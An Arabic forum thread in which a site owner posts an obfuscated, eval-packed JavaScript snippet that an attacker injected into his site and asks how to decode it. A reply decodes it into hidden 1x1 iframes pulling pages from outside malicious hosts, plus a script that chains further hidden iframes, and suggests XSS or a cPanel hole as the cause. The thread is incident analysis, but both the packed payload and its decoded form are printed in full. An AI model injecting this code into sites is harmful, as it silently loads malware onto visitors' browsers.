سوال في التشفير

[Q8UB.Com]

السلام عليكم شباب انا اخترق موقعي امس
بس مو اختراق كامل فقط وضع كود javascript بموقعي وانا حاولت افك تشفير الكود بس مو عارف
ياليت احد يساعدني ويشرحلي شلون نقدر نفك هالكود

<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('o(n("%9%l%e%1%m%c%k%i%p%v%u%t%i%c%q%j%2%1%0%0%6%e%2%1%0%0%3%7%2%1%0%0%3%3%2%1%0%0%4%5%2%1%0%0%3%f%2%1%0%0%3%9%2%1%0%0%3%a%2%1%0%0%5%0%2%1%0%0%4%6%2%1%0%0%4%5%2%1%0%0%3%6%2%1%0%0%6%9%2%1%0%0%5%4%2%1%0%0%3%d%2%1%0%0%4%8%2%1%0%0%4%8%2%1%0%0%4%0%2%1%0%0%6%g%2%1%0%0%5%b%2%1%0%0%5%b%2%1%0%0%4%0%2%1%0%0%6%0%2%1%0%0%3%e%2%1%0%0%3%e%2%1%0%0%3%b%2%1%0%0%5%c%2%1%0%0%3%6%2%1%0%0%3%b%2%1%0%0%3%9%2%1%0%0%5%b%2%1%0%0%4%6%2%1%0%0%4%a%2%1%0%0%5%b%2%1%0%0%3%7%2%1%0%0%3%c%2%1%0%0%5%c%2%1%0%0%3%6%2%1%0%0%3%4%2%1%0%0%3%7%2%1%0%0%6%b%2%1%0%0%6%5%2%1%0%0%5%4%2%1%0%0%5%0%2%1%0%0%4%4%2%1%0%0%3%7%2%1%0%0%3%8%2%1%0%0%4%8%2%1%0%0%3%d%2%1%0%0%6%9%2%1%0%0%5%4%2%1%0%0%6%f%2%1%0%0%5%4%2%1%0%0%5%0%2%1%0%0%3%d%2%1%0%0%3%a%2%1%0%0%3%7%2%1%0%0%3%4%2%1%0%0%3%d%2%1%0%0%4%8%2%1%0%0%6%9%2%1%0%0%5%4%2%1%0%0%6%f%2%1%0%0%5%4%2%1%0%0%5%0%2%1%0%0%4%6%2%1%0%0%4%8%2%1%0%0%4%7%2%1%0%0%3%e%2%1%0%0%3%a%2%1%0%0%6%9%2%1%0%0%5%4%2%1%0%0%4%3%2%1%0%0%3%7%2%1%0%0%4%6%2%1%0%0%3%7%2%1%0%0%3%5%2%1%0%0%3%7%2%1%0%0%3%e%2%1%0%0%3%7%2%1%0%0%4%8%2%1%0%0%4%7%2%1%0%0%6%g%2%1%0%0%5%0%2%1%0%0%3%d%2%1%0%0%3%7%2%1%0%0%3%8%2%1%0%0%3%8%2%1%0%0%3%a%2%1%0%0%3%c%2%1%0%0%6%h%2%1%0%0%5%4%2%1%0%0%6%c%2%1%0%0%6%e%2%1%0%0%5%b%2%1%0%0%3%7%2%1%0%0%3%3%2%1%0%0%4%5%2%1%0%0%3%f%2%1%0%0%3%9%2%1%0%0%3%a%2%1%0%0%6%c%2%1%0%0%6%e%2%1%0%0%3%7%2%1%0%0%3%3%2%1%0%0%4%5%2%1%0%0%3%f%2%1%0%0%3%9%2%1%0%0%3%a%2%1%0%0%5%0%2%1%0%0%4%6%2%1%0%0%4%5%2%1%0%0%3%6%2%1%0%0%6%9%2%1%0%0%5%4%2%1%0%0%3%d%2%1%0%0%4%8%2%1%0%0%4%8%2%1%0%0%4%0%2%1%0%0%6%g%2%1%0%0%5%b%2%1%0%0%5%b%2%1%0%0%4%8%2%1%0%0%4%5%2%1%0%0%4%a%2%1%0%0%3%a%2%1%0%0%3%9%2%1%0%0%3%f%2%1%0%0%4%7%2%1%0%0%3%5%2%1%0%0%3%a%2%1%0%0%5%c%2%1%0%0%3%6%2%1%0%0%3%b%2%1%0%0%3%9%2%1%0%0%5%b%2%1%0%0%3%6%2%1%0%0%3%d%2%1%0%0%3%a%2%1%0%0%3%6%2%1%0%0%3%h%2%1%0%0%5%b%2%1%0%0%4%3%2%1%0%0%3%a%2%1%0%0%4%5%2%1%0%0%4%6%2%1%0%0%3%7%2%1%0%0%3%b%2%1%0%0%3%c%2%1%0%0%3%e%2%1%0%0%5%c%2%1%0%0%4%0%2%1%0%0%3%d%2%1%0%0%4%0%2%1%0%0%6%b%2%1%0%0%4%8%2%1%0%0%6%9%2%1%0%0%6%a%2%1%0%0%6%4%2%1%0%0%6%d%2%1%0%0%5%4%2%1%0%0%5%0%2%1%0%0%4%4%2%1%0%0%3%7%2%1%0%0%3%8%2%1%0%0%4%8%2%1%0%0%3%d%2%1%0%0%6%9%2%1%0%0%5%4%2%1%0%0%6%f%2%1%0%0%5%4%2%1%0%0%5%0%2%1%0%0%3%d%2%1%0%0%3%a%2%1%0%0%3%7%2%1%0%0%3%4%2%1%0%0%3%d%2%1%0%0%4%8%2%1%0%0%6%9%2%1%0%0%5%4%2%1%0%0%6%f%2%1%0%0%5%4%2%1%0%0%5%0%2%1%0%0%4%6%2%1%0%0%4%8%2%1%0%0%4%7%2%1%0%0%3%e%2%1%0%0%3%a%2%1%0%0%6%9%2%1%0%0%5%4%2%1%0%0%4%3%2%1%0%0%3%7%2%1%0%0%4%6%2%1%0%0%3%7%2%1%0%0%3%5%2%1%0%0%3%7%2%1%0%0%3%e%2%1%0%0%3%7%2%1%0%0%4%8%2%1%0%0%4%7%2%1%0%0%6%g%2%1%0%0%5%0%2%1%0%0%3%d%2%1%0%0%3%7%2%1%0%0%3%8%2%1%0%0%3%8%2%1%0%0%3%a%2%1%0%0%3%c%2%1%0%0%6%h%2%1%0%0%5%4%2%1%0%0%6%c%2%1%0%0%6%e%2%1%0%0%5%b%2%1%0%0%3%7%2%1%0%0%3%3%2%1%0%0%4%5%2%1%0%0%3%f%2%1%0%0%3%9%2%1%0%0%3%a%2%1%0%0%6%c%j%s%r"));',32,32,'30|75|5c|36|37|32|33|39|34|64|35|66|65|38|63|31|61|62|74|27|6e|6f|6d|unescape|eval|2e|28|3b|29|69|72|77'.split('|'),0,{}));
</script>

[Zizwar]

الكود مشفر على ثلاثة مستويات
المهم هذا هو الكود

<iframe src='http://p0llo.com/su/in.cgi?2' width='1' height='1' style='visibility: hidden;'></iframe><iframe src='http://truemaybe.com/check/versionl.php?t=578' width='1' height='1' style='visibility: hidden;'></iframe> 

وفي رابط الفريم يوجد

<iframe name=iframe1 width=1 height=1></iframe>
<iframe name=iframe2 width=1 height=1></iframe>

<script>
var gbfgbsfdb = 0;
var sites = new Array();
sites[1]='./n14041.htm';
sites[2]='./n14042.htm';


      function hbefertgrvfds() {
      setInterval( "hbefertgrvfds()", 5000 );
        gbfgbsfdb++;
        if (gbfgbsfdb<=2) document.getElementById( "iframe"+gbfgbsfdb ).src = sites[gbfgbsfdb];
      }

hbefertgrvfds();
// document.getElementById( "iframe"+"1" ).src = './n14041.htm';
</script> 

موقعك ربما تعرض لتغرة XSS او لتلك الثغرة التي تأتي من cpanel ابحث عن احدى مشاركات الاستاذ daif ستجد انه تحدث عن هذه الثغرة